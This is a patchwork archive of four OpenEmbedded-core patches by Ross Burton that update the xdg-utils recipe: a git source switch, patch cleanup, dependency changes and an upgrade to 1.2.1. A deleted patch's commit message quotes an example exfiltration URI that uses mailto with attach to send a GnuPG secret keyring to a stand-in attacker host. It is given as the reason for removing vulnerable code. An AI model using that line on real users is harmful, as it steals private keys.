From patchwork Mon Sep 14 12:08:03 2026 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Ross Burton X-Patchwork-Id: 98182 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id ED766C88E64 for ; Mon, 14 Sep 2026 12:08:14 +0000 (UTC) Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by mx.groups.io with SMTP id smtpd.msgproc01-g2.18489.1789387693143238086 for ; Mon, 14 Sep 2026 05:08:13 -0700 Authentication-Results: mx.groups.io; dkim=fail reason="dkim: body hash did not verify" header.i=@arm.com header.s=foss header.b=ZGr2DB3c; spf=pass (domain: arm.com, ip: 217.140.110.172, mailfrom: ross.burton@arm.com) Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id DDCF31570 for ; Mon, 14 Sep 2026 05:08:08 -0700 (PDT) Received: from cesw-amp-gbt-1s-m12830-04.lab.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.121.207.14]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 26FE43F86F for ; Mon, 14 Sep 2026 05:08:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss; t=1789387692; bh=6WIbnJ66mt8PWdz4SdfJtYsNV4JQ0HZSr82YOGsuEWg=; h=From:To:Subject:Date:From; b=ZGr2DB3crnMTJ0lYMdNt1AXVdUTXfVGiB0xVTG568WEbpoRmZ4h1JlgzvosL8Vtov mK/wQO/ilpKYZ5pYzNTFNmxZ2pBJvdqaOVb21hSUA7y7Hg4jwSNzlqAdPoEaT5h7DC eCFL+MsC4IeWmMXckJ0l5zo2y/Nm7btC9g+BXwA8= From: Ross Burton To: openembedded-core@lists.openembedded.org Subject: [PATCH 1/4] xdg-utils: switch to git Date: Mon, 14 Sep 2026 13:08:03 +0100 Message-ID: <20260914120807.2162673-1-ross.burton@arm.com> X-Mailer: git-send-email 2.43.0 MIME-Version: 1.0 List-Id: X-Webhook-Received: from 45-33-107-173.ip.linodeusercontent.com [45.33.107.173] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Mon, 14 Sep 2026 12:08:14 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-core/message/245766 Tarballs haven't been uploaded to portland.freedesktop.org for some time now, so we missed several upstream releases. Upstream isn't making tarball releases, so switch to git clones. The version is not changed here and the end result is identical. Also make the description more concise as 12 lines is a little excessive. Signed-off-by: Ross Burton --- .../xdg-utils/xdg-utils_1.1.3.bb | 20 +++---------------- 1 file changed, 3 insertions(+), 17 deletions(-) diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb index e39a65831e0..d7a103c1f81 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb +++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb @@ -1,32 +1,18 @@ SUMMARY = "Basic desktop integration functions" HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xdg-utils/" -DESCRIPTION = "The xdg-utils package is a set of simple scripts that provide basic \ -desktop integration functions for any Free Desktop, such as Linux. \ -They are intended to provide a set of defacto standards. \ -The following scripts are provided at this time: \ -xdg-desktop-icon \ -xdg-desktop-menu \ -xdg-email \ -xdg-icon-resource \ -xdg-mime \ -xdg-open \ -xdg-screensaver \ -xdg-terminal \ -" +DESCRIPTION = "The xdg-utils package is a set of simple scripts that provide basic desktop integration functions." LICENSE = "MIT" LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014" -SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \ +SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=master;tag=v${PV} \ file://0001-Reinstate-xdg-terminal.patch \ file://0001-Don-t-build-the-in-script-manual.patch \ file://1f199813e0eb0246f63b54e9e154970e609575af.patch \ file://CVE-2022-4055.patch \ " -SRC_URI[sha256sum] = "d798b08af8a8e2063ddde6c9fa3398ca81484f27dec642c5627ffcaa0d4051d9" - -UPSTREAM_CHECK_REGEX = "xdg-utils-(?P((\d+[\.\-_]*)+)((rc|alpha|beta)\d+)?)\.(tar\.gz|tgz)" +SRCREV = "159fc37075db2decf446f453fe1a796da6921aad" # Needs brokensep as this doesn't use automake inherit autotools-brokensep features_check From patchwork Mon Sep 14 12:08:04 2026 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: Ross Burton X-Patchwork-Id: 98183 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id E2E60C88E50 for ; Mon, 14 Sep 2026 12:08:14 +0000 (UTC) Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by mx.groups.io with SMTP id smtpd.msgproc01-g2.18490.1789387693704603016 for ; Mon, 14 Sep 2026 05:08:13 -0700 Authentication-Results: mx.groups.io; dkim=fail reason="dkim: body hash did not verify" header.i=@arm.com header.s=foss header.b=GeKWeLdF; spf=pass (domain: arm.com, ip: 217.140.110.172, mailfrom: ross.burton@arm.com) Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 947551576 for ; Mon, 14 Sep 2026 05:08:09 -0700 (PDT) Received: from cesw-amp-gbt-1s-m12830-04.lab.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.121.207.14]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id D051C3F86F for ; Mon, 14 Sep 2026 05:08:12 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss; t=1789387693; bh=f6rCj+TxC5+Tb8P8Z0QMJ9Z+eSJxF8x7tVbukvXgbSE=; h=From:To:Subject:Date:In-Reply-To:References:From; b=GeKWeLdFRMe4euGbZDR1OlBtpBIHQtLE3jlEGv9H5huRuFtNlFQA3/cWXIWD6PtdT UbjYcrBV4TogSRmyiY7q7RnM6Xd/ZNHvm53330un4Lwu4iiBL5fR0kbQU4MVngBKnI s+tHfp2dIy0LvqDYbptsYHFz2SQWyzvh4b5AZxYQ= From: Ross Burton To: openembedded-core@lists.openembedded.org Subject: [PATCH 2/4] xdg-utils: clean up email/attachment patches Date: Mon, 14 Sep 2026 13:08:04 +0100 Message-ID: <20260914120807.2162673-2-ross.burton@arm.com> X-Mailer: git-send-email 2.43.0 In-Reply-To: <20260914120807.2162673-1-ross.burton@arm.com> References: <20260914120807.2162673-1-ross.burton@arm.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from 45-33-107-173.ip.linodeusercontent.com [45.33.107.173] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Mon, 14 Sep 2026 12:08:14 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-core/message/245767 The first patch isn't an upstream backport, it was submitted but never accepted. The second patch then deletes the code that the first patch modifies. Drop the first patch and rebase the second as needed. Signed-off-by: Ross Burton --- ...9813e0eb0246f63b54e9e154970e609575af.patch | 58 ------------------- .../xdg-utils/xdg-utils/CVE-2022-4055.patch | 25 ++++---- .../xdg-utils/xdg-utils_1.1.3.bb | 1 - 3 files changed, 15 insertions(+), 69 deletions(-) delete mode 100644 meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch deleted file mode 100644 index 948b9e22e93..00000000000 --- a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch +++ /dev/null @@ -1,58 +0,0 @@ -From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= -Date: Tue, 18 Aug 2020 16:52:24 +0100 -Subject: [PATCH] xdg-email: remove attachment handling from mailto -MIME-Version: 1.0 -Content-Type: text/plain; charset=UTF-8 -Content-Transfer-Encoding: 8bit - -This allows attacker to extract secrets from users: - -mailto:sid@evil.com?attach=/.gnupg/secring.gpg - -See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425 -and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 - -Signed-off-by: Jörg Thalheim ---- - scripts/xdg-email.in | 7 +------ - 1 file changed, 1 insertion(+), 6 deletions(-) - -Upstream-Status: Backport -CVE: CVE-2020-27748 - -diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in -index 6db58ad..5d2f4f3 100644 ---- a/scripts/xdg-email.in -+++ b/scripts/xdg-email.in -@@ -32,7 +32,7 @@ _USAGE - - run_thunderbird() - { -- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH -+ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY - THUNDERBIRD="$1" - MAILTO=$(echo "$2" | sed 's/^mailto://') - echo "$MAILTO" | grep -qs "^?" -@@ -48,7 +48,6 @@ run_thunderbird() - BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) - SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1) - BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1) -- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')) - - if [ -z "$TO" ] ; then - NEWMAILTO= -@@ -68,10 +67,6 @@ run_thunderbird() - NEWMAILTO="${NEWMAILTO},$BODY" - fi - -- if [ -n "$ATTACH" ] ; then -- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'" -- fi -- - NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//') - DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\"" - "$THUNDERBIRD" -compose "$NEWMAILTO" --- -GitLab - diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch index b2360301088..85f32035fcd 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch +++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch @@ -17,17 +17,17 @@ Signed-off-by: Richard Purdie CVE: CVE-2022-4055 -Index: xdg-utils-1.1.3/scripts/xdg-email.in -=================================================================== ---- xdg-utils-1.1.3.orig/scripts/xdg-email.in -+++ xdg-utils-1.1.3/scripts/xdg-email.in -@@ -30,53 +30,6 @@ _USAGE +diff --git c/scripts/xdg-email.in w/scripts/xdg-email.in +index 3614776..8bdb5a9 100644 +--- c/scripts/xdg-email.in ++++ w/scripts/xdg-email.in +@@ -30,58 +30,6 @@ _USAGE #@xdg-utils-common@ -run_thunderbird() -{ -- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY +- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH - THUNDERBIRD="$1" - MAILTO=$(echo "$2" | sed 's/^mailto://') - echo "$MAILTO" | grep -qs "^?" @@ -43,6 +43,7 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in - BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) - SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1) - BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1) +- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')) - - if [ -z "$TO" ] ; then - NEWMAILTO= @@ -62,6 +63,10 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in - NEWMAILTO="${NEWMAILTO},$BODY" - fi - +- if [ -n "$ATTACH" ] ; then +- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'" +- fi +- - NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//') - DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\"" - "$THUNDERBIRD" -compose "$NEWMAILTO" @@ -75,7 +80,7 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in open_kde() { if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then -@@ -130,15 +83,6 @@ open_kde() +@@ -135,15 +83,6 @@ open_kde() open_gnome3() { @@ -91,7 +96,7 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in if gio help open 2>/dev/null 1>&2; then DEBUG 1 "Running gio open \"$1\"" gio open "$1" -@@ -159,13 +103,6 @@ open_gnome3() +@@ -164,13 +103,6 @@ open_gnome3() open_gnome() { @@ -105,7 +110,7 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in if gio help open 2>/dev/null 1>&2; then DEBUG 1 "Running gio open \"$1\"" gio open "$1" -@@ -231,15 +168,6 @@ open_flatpak() +@@ -236,15 +168,6 @@ open_flatpak() open_generic() { @@ -121,7 +126,7 @@ Index: xdg-utils-1.1.3/scripts/xdg-email.in xdg-open "$1" local ret=$? -@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do +@@ -369,21 +292,6 @@ while [ $# -gt 0 ] ; do shift ;; diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb index d7a103c1f81..482cf3aa7a3 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb +++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb @@ -8,7 +8,6 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014" SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=master;tag=v${PV} \ file://0001-Reinstate-xdg-terminal.patch \ file://0001-Don-t-build-the-in-script-manual.patch \ - file://1f199813e0eb0246f63b54e9e154970e609575af.patch \ file://CVE-2022-4055.patch \ " From patchwork Mon Sep 14 12:08:05 2026 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Ross Burton X-Patchwork-Id: 98184 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id CBA59C88E70 for ; Mon, 14 Sep 2026 12:08:24 +0000 (UTC) Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by mx.groups.io with SMTP id smtpd.msgproc02-g2.18723.1789387694568946492 for ; Mon, 14 Sep 2026 05:08:14 -0700 Authentication-Results: mx.groups.io; dkim=fail reason="dkim: body hash did not verify" header.i=@arm.com header.s=foss header.b=TYd7IKVH; spf=pass (domain: arm.com, ip: 217.140.110.172, mailfrom: ross.burton@arm.com) Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 44A1A1570 for ; Mon, 14 Sep 2026 05:08:10 -0700 (PDT) Received: from cesw-amp-gbt-1s-m12830-04.lab.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.121.207.14]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 84C933F9A2 for ; Mon, 14 Sep 2026 05:08:13 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss; t=1789387693; bh=ZDcabAgidLAYoINRpO1FdYE1mQe7TFUno+C+nvwFaqM=; h=From:To:Subject:Date:In-Reply-To:References:From; b=TYd7IKVHIG0gBH6OPAIobEhtOcA2EwTfAWlJ7ajJJZ6HBmogOn6SCZSOV/NDI7tTA kGo52CJzsC0Q+OC7FGtLYlJwrY4N9tgqhwLou7nnRUSLupugxbCGO8yAI4+1fxEi8n J+mVcjr8bioAoQGYNVn4vGV6vX44mdTRkR9XWRyw= From: Ross Burton To: openembedded-core@lists.openembedded.org Subject: [PATCH 3/4] xdg-utils: refresh runtime dependencies Date: Mon, 14 Sep 2026 13:08:05 +0100 Message-ID: <20260914120807.2162673-3-ross.burton@arm.com> X-Mailer: git-send-email 2.43.0 In-Reply-To: <20260914120807.2162673-1-ross.burton@arm.com> References: <20260914120807.2162673-1-ross.burton@arm.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from 45-33-107-173.ip.linodeusercontent.com [45.33.107.173] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Mon, 14 Sep 2026 12:08:24 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-core/message/245768 xdg-utils doesn't _need_ x11, so make the X11 dependencies dependent on the x11 DISTRO_FEATURE being set. Also add xset, file, and dbus-tools (for dbus-send) to the dependency list, as they're also needed. Finally convert the dependencies to recommends, as they're not needed by all tools and it might be desirable to ship xdg-utils but not all of the dependencies. Signed-off-by: Ross Burton --- meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb index 482cf3aa7a3..7141a72dd53 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb +++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb @@ -5,6 +5,8 @@ DESCRIPTION = "The xdg-utils package is a set of simple scripts that provide bas LICENSE = "MIT" LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014" +DEPENDS = "xmlto-native libxslt-native" + SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch=master;tag=v${PV} \ file://0001-Reinstate-xdg-terminal.patch \ file://0001-Don-t-build-the-in-script-manual.patch \ @@ -14,12 +16,9 @@ SRC_URI = "git://gitlab.freedesktop.org/xdg/xdg-utils.git;protocol=https;branch= SRCREV = "159fc37075db2decf446f453fe1a796da6921aad" # Needs brokensep as this doesn't use automake -inherit autotools-brokensep features_check +inherit autotools-brokensep -# The xprop requires x11 in DISTRO_FEATURES -REQUIRED_DISTRO_FEATURES = "x11" - -DEPENDS = "xmlto-native libxslt-native" -RDEPENDS:${PN} += "xprop" +RRECOMMENDS:${PN} = "dbus-tools file \ + ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xprop xset', '', d)}" CVE_STATUS[CVE-2025-52968] = "disputed" From patchwork Mon Sep 14 12:08:06 2026 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit X-Patchwork-Submitter: Ross Burton X-Patchwork-Id: 98185 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on aws-us-west-2-korg-lkml-1.web.codeaurora.org Received: from aws-us-west-2-korg-lkml-1.web.codeaurora.org (localhost.localdomain [127.0.0.1]) by smtp.lore.kernel.org (Postfix) with ESMTP id C6FDBC88E50 for ; Mon, 14 Sep 2026 12:08:24 +0000 (UTC) Received: from foss.arm.com (foss.arm.com [217.140.110.172]) by mx.groups.io with SMTP id smtpd.msgproc01-g2.18492.1789387695044150545 for ; Mon, 14 Sep 2026 05:08:15 -0700 Authentication-Results: mx.groups.io; dkim=fail reason="dkim: body hash did not verify" header.i=@arm.com header.s=foss header.b=ksFYMFZm; spf=pass (domain: arm.com, ip: 217.140.110.172, mailfrom: ross.burton@arm.com) Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.121.207.14]) by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id EF3321576 for ; Mon, 14 Sep 2026 05:08:10 -0700 (PDT) Received: from cesw-amp-gbt-1s-m12830-04.lab.cambridge.arm.com (usa-sjc-imap-foss1.foss.arm.com [10.121.207.14]) by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPA id 39DA83F86F for ; Mon, 14 Sep 2026 05:08:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=arm.com; s=foss; t=1789387694; bh=MgjXOlIuqwvKD4X7/SSXSGVf37KgW7PTW8e432vB9To=; h=From:To:Subject:Date:In-Reply-To:References:From; b=ksFYMFZmEcZuWqHWdv5hvZeI8iIiqOy5IGe9Lz5zLDNhv+EWZDD2Yc39gybf1oFWG JM5g5eQP1W5+iD6QdDKtrh1Dpl6Hm7ksA4xZPk4V5FnisDshrp2uuYNQFbH1cQzBiE UEqIzrsgOLEDTUkPkZrlNvj0jSU3xJq3q/cJN978= From: Ross Burton To: openembedded-core@lists.openembedded.org Subject: [PATCH 4/4] xdg-utils: upgrade 1.1.3 -> 1.2.1 Date: Mon, 14 Sep 2026 13:08:06 +0100 Message-ID: <20260914120807.2162673-4-ross.burton@arm.com> X-Mailer: git-send-email 2.43.0 In-Reply-To: <20260914120807.2162673-1-ross.burton@arm.com> References: <20260914120807.2162673-1-ross.burton@arm.com> MIME-Version: 1.0 List-Id: X-Webhook-Received: from 45-33-107-173.ip.linodeusercontent.com [45.33.107.173] by aws-us-west-2-korg-lkml-1.web.codeaurora.org with HTTPS for ; Mon, 14 Sep 2026 12:08:24 -0000 X-Groupsio-URL: https://lists.openembedded.org/g/openembedded-core/message/245769 Upstream release notes: * xdg-icon-resource: Fix for incorrect syntax * better support for Plasma6, Deepin, LXQt * partial support for WSL / flatpak's * Numerous other fixes and improvements Signed-off-by: Ross Burton --- .../xdg-utils/xdg-utils/CVE-2022-4055.patch | 76 ++++++++++--------- ...{xdg-utils_1.1.3.bb => xdg-utils_1.2.1.bb} | 4 +- 2 files changed, 41 insertions(+), 39 deletions(-) rename meta/recipes-extended/xdg-utils/{xdg-utils_1.1.3.bb => xdg-utils_1.2.1.bb} (90%) diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch index 85f32035fcd..6adce1fa40b 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch +++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch @@ -15,12 +15,14 @@ Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issue Signed-off-by: Richard Purdie CVE: CVE-2022-4055 +--- + scripts/xdg-email.in | 89 -------------------------------------------- + 1 file changed, 89 deletions(-) - -diff --git c/scripts/xdg-email.in w/scripts/xdg-email.in -index 3614776..8bdb5a9 100644 ---- c/scripts/xdg-email.in -+++ w/scripts/xdg-email.in +diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in +index 73898a4..4fe901e 100644 +--- a/scripts/xdg-email.in ++++ b/scripts/xdg-email.in @@ -30,58 +30,6 @@ _USAGE #@xdg-utils-common@ @@ -29,21 +31,21 @@ index 3614776..8bdb5a9 100644 -{ - local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH - THUNDERBIRD="$1" -- MAILTO=$(echo "$2" | sed 's/^mailto://') +- MAILTO="$(echo "$2" | sed 's/^mailto://')" - echo "$MAILTO" | grep -qs "^?" - if [ "$?" = "0" ] ; then -- MAILTO=$(echo "$MAILTO" | sed 's/^?//') +- MAILTO="$(echo "$MAILTO" | sed 's/^?//')" - else -- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/') +- MAILTO="$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')" - fi - -- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g') -- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) -- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) -- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')) -- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1) -- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1) -- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')) +- MAILTO="$(echo "$MAILTO" | sed 's/&/\n/g')" +- TO="$(/bin/echo -e "$(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')")" +- CC="$(/bin/echo -e "$(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')")" +- BCC="$(/bin/echo -e "$(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }')")" +- SUBJECT="$(echo "$MAILTO" | grep '^subject=' | tail -n 1)" +- BODY="$(echo "$MAILTO" | grep '^body=' | tail -n 1)" +- ATTACH="$(/bin/echo -e "$(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//')")" - - if [ -z "$TO" ] ; then - NEWMAILTO= @@ -79,54 +81,51 @@ index 3614776..8bdb5a9 100644 - open_kde() { - if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then -@@ -135,15 +83,6 @@ open_kde() + local kreadconfig profile client +@@ -139,14 +87,6 @@ open_kde() open_gnome3() { - local client - local desktop -- desktop=`xdg-mime query default "x-scheme-handler/mailto"` -- client=`desktop_file_to_binary "$desktop"` -- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1 -- if [ $? -eq 0 ] ; then +- desktop="$(xdg-mime query default "x-scheme-handler/mailto")" +- client="$(desktop_file_to_binary "$desktop")" +- case "$client" in *thunderbird*|*icedove*) - run_thunderbird "$client" "$1" -- fi +- esac - if gio help open 2>/dev/null 1>&2; then DEBUG 1 "Running gio open \"$1\"" gio open "$1" -@@ -164,13 +103,6 @@ open_gnome3() +@@ -167,12 +107,6 @@ open_gnome3() open_gnome() { - local client -- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || "" -- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1 -- if [ $? -eq 0 ] ; then +- client="$(gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1)" +- case "$client" in *thunderbird*|*icedove*) - run_thunderbird "$client" "$1" -- fi +- esac - if gio help open 2>/dev/null 1>&2; then DEBUG 1 "Running gio open \"$1\"" gio open "$1" -@@ -236,15 +168,6 @@ open_flatpak() +@@ -263,14 +197,6 @@ open_flatpak() open_generic() { - local client - local desktop -- desktop=`xdg-mime query default "x-scheme-handler/mailto"` -- client=`desktop_file_to_binary "$desktop"` -- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1 -- if [ $? -eq 0 ] ; then +- desktop="$(xdg-mime query default "x-scheme-handler/mailto")" +- client="$(desktop_file_to_binary "$desktop")" +- case "$client" in *thunderbird*|*icedove*) - run_thunderbird "$client" "$1" -- fi +- esac - xdg-open "$1" - local ret=$? - -@@ -369,21 +292,6 @@ while [ $# -gt 0 ] ; do + exit $? + } +@@ -372,21 +298,6 @@ while [ $# -gt 0 ] ; do shift ;; @@ -135,7 +134,7 @@ index 3614776..8bdb5a9 100644 - exit_failure_syntax "file argument missing for --attach option" - fi - check_input_file "$1" -- file=`readlink -f "$1"` # Normalize path +- file="$(xdg_realpath "$1")" # Normalize path - if [ -z "$file" ] || [ ! -f "$file" ] ; then - exit_failure_file_missing "file '$1' does not exist" - fi @@ -148,3 +147,6 @@ index 3614776..8bdb5a9 100644 -*) exit_failure_syntax "unexpected option '$parm'" ;; +-- +2.43.0 + diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.2.1.bb similarity index 90% rename from meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb rename to meta/recipes-extended/xdg-utils/xdg-utils_1.2.1.bb index 7141a72dd53..f76735a91ba 100644 --- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb +++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.2.1.bb @@ -7,13 +7,13 @@ LIC_FILES_CHKSUM = 